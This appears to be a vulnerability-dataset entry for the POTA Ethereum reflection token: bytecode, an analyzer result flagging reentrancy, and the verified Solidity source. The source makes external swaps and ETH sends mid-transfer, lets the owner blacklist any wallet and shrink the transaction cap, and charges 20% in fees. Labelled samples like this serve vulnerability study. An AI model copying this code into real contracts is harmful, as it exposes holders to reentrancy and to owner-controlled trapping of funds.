32303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c02d6079ce0371cd4249f66a0e056daa2f8f4eca72b088b77c1f6e41b888d1e064736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 7,984 |
0x4c53c1740f073f7c8e2b8c58808aeffa96d6fb70
|
/**
*Submitted for verification at Etherscan.io on 2021-07-12
*/
/**
🦍Welcome to POTAOfficial🦍
Crypto's APE community token!
Telegram: https://t.me/POTAOfficial
Website: www.planetoftheapes.io
twitter: https://twitter.com/Official_POTA
*/
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract PlanetOfTheApes is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string public constant _name = "PlanetOfTheApes";
string public constant _symbol = "POTA";
uint8 private constant _decimals = 15;
uint256 private _taxFee = 10;
uint256 private _teamFee = 10;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) public {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
if(from != address(this)){
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 10000000000* 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x6080604052600436106101235760003560e01c80638da5cb5b116100a0578063c3c8cd8011610064578063c3c8cd80146106d2578063c9567bf9146106e9578063d28d885214610700578063d543dbeb14610790578063dd62ed3e146107cb5761012a565b80638da5cb5b1461043b57806395d89b411461047c578063a9059cbb1461050c578063b09f12661461057d578063b515566a1461060d5761012a565b8063313ce567116100e7578063313ce5671461033d5780635932ead11461036b5780636fc3eaec146103a857806370a08231146103bf578063715018a6146104245761012a565b806306fdde031461012f578063095ea7b3146101bf57806318160ddd1461023057806323b872dd1461025b578063273123b7146102ec5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610850565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610184578082015181840152602081019050610169565b50505050905090810190601f1680156101b15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101cb57600080fd5b50610218600480360360408110156101e257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061088d565b60405180821515815260200191505060405180910390f35b34801561023c57600080fd5b506102456108ab565b6040518082815260200191505060405180910390f35b34801561026757600080fd5b506102d46004803603606081101561027e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108bc565b60405180821515815260200191505060405180910390f35b3480156102f857600080fd5b5061033b6004803603602081101561030f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610995565b005b34801561034957600080fd5b50610352610ab8565b604051808260ff16815260200191505060405180910390f35b34801561037757600080fd5b506103a66004803603602081101561038e57600080fd5b81019080803515159060200190929190505050610ac1565b005b3480156103b457600080fd5b506103bd610ba6565b005b3480156103cb57600080fd5b5061040e600480360360208110156103e257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c18565b6040518082815260200191505060405180910390f35b34801561043057600080fd5b50610439610d03565b005b34801561044757600080fd5b50610450610e89565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561048857600080fd5b50610491610eb2565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104d15780820151818401526020810190506104b6565b50505050905090810190601f1680156104fe5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561051857600080fd5b506105656004803603604081101561052f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610eef565b60405180821515815260200191505060405180910390f35b34801561058957600080fd5b50610592610f0d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105d25780820151818401526020810190506105b7565b50505050905090810190601f1680156105ff5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561061957600080fd5b506106d06004803603602081101561063057600080fd5b810190808035906020019064010000000081111561064d57600080fd5b82018360208201111561065f57600080fd5b8035906020019184602083028401116401000000008311171561068157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610f46565b005b3480156106de57600080fd5b506106e7611096565b005b3480156106f557600080fd5b506106fe611110565b005b34801561070c57600080fd5b5061071561178d565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561075557808201518184015260208101905061073a565b50505050905090810190601f1680156107825780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561079c57600080fd5b506107c9600480360360208110156107b357600080fd5b81019080803590602001909291905050506117c6565b005b3480156107d757600080fd5b5061083a600480360360408110156107ee57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611975565b6040518082815260200191505060405180910390f35b60606040518060400160405280600f81526020017f506c616e65744f66546865417065730000000000000000000000000000000000815250905090565b60006108a161089a6119fc565b8484611a04565b6001905092915050565b6000683635c9adc5dea00000905090565b60006108c9848484611bfb565b61098a846108d56119fc565b61098585604051806060016040528060288152602001613ee860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061093b6119fc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461245a9092919063ffffffff16565b611a04565b600190509392505050565b61099d6119fc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a5d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600f905090565b610ac96119fc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b89576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601360176101000a81548160ff02191690831515021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610be76119fc565b73ffffffffffffffffffffffffffffffffffffffff1614610c0757600080fd5b6000479050610c158161251a565b50565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610cb357600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610cfe565b610cfb600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612615565b90505b919050565b610d0b6119fc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dcb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f504f544100000000000000000000000000000000000000000000000000000000815250905090565b6000610f03610efc6119fc565b8484611bfb565b6001905092915050565b6040518060400160405280600481526020017f504f54410000000000000000000000000000000000000000000000000000000081525081565b610f4e6119fc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461100e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60005b81518110156110925760016007600084848151811061102c57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050611011565b5050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110d76119fc565b73ffffffffffffffffffffffffffffffffffffffff16146110f757600080fd5b600061110230610c18565b905061110d81612699565b50565b6111186119fc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b601360149054906101000a900460ff161561125b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f74726164696e6720697320616c7265616479206f70656e00000000000000000081525060200191505060405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506112eb30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000611a04565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561133157600080fd5b505afa158015611345573d6000803e3d6000fd5b505050506040513d602081101561135b57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156113ce57600080fd5b505afa1580156113e2573d6000803e3d6000fd5b505050506040513d60208110156113f857600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15801561147257600080fd5b505af1158015611486573d6000803e3d6000fd5b505050506040513d602081101561149c57600080fd5b8101908080519060200190929190505050601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061153630610c18565b600080611541610e89565b426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b1580156115c657600080fd5b505af11580156115da573d6000803e3d6000fd5b50505050506040513d60608110156115f157600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050506001601360166101000a81548160ff0219169083151502179055506000601360176101000a81548160ff021916908315150217905550678ac7230489e800006014819055506001601360146101000a81548160ff021916908315150217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561174e57600080fd5b505af1158015611762573d6000803e3d6000fd5b505050506040513d602081101561177857600080fd5b81019080805190602001909291905050505050565b6040518060400160405280600f81526020017f506c616e65744f6654686541706573000000000000000000000000000000000081525081565b6117ce6119fc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461188e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60008111611904576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416d6f756e74206d7573742062652067726561746572207468616e203000000081525060200191505060405180910390fd5b611933606461192583683635c9adc5dea0000061298390919063ffffffff16565b612a0990919063ffffffff16565b6014819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6014546040518082815260200191505060405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611a8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180613f5e6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b10576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613ea56022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611c81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180613f396025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611d07576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613e586023913960400191505060405180910390fd5b60008111611d60576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180613f106029913960400191505060405180910390fd5b611d68610e89565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611dd65750611da6610e89565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561239757601360179054906101000a900460ff161561203c573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611e5857503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611eb25750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611f0c5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561203b57601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611f526119fc565b73ffffffffffffffffffffffffffffffffffffffff161480611fc85750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611fb06119fc565b73ffffffffffffffffffffffffffffffffffffffff16145b61203a5760405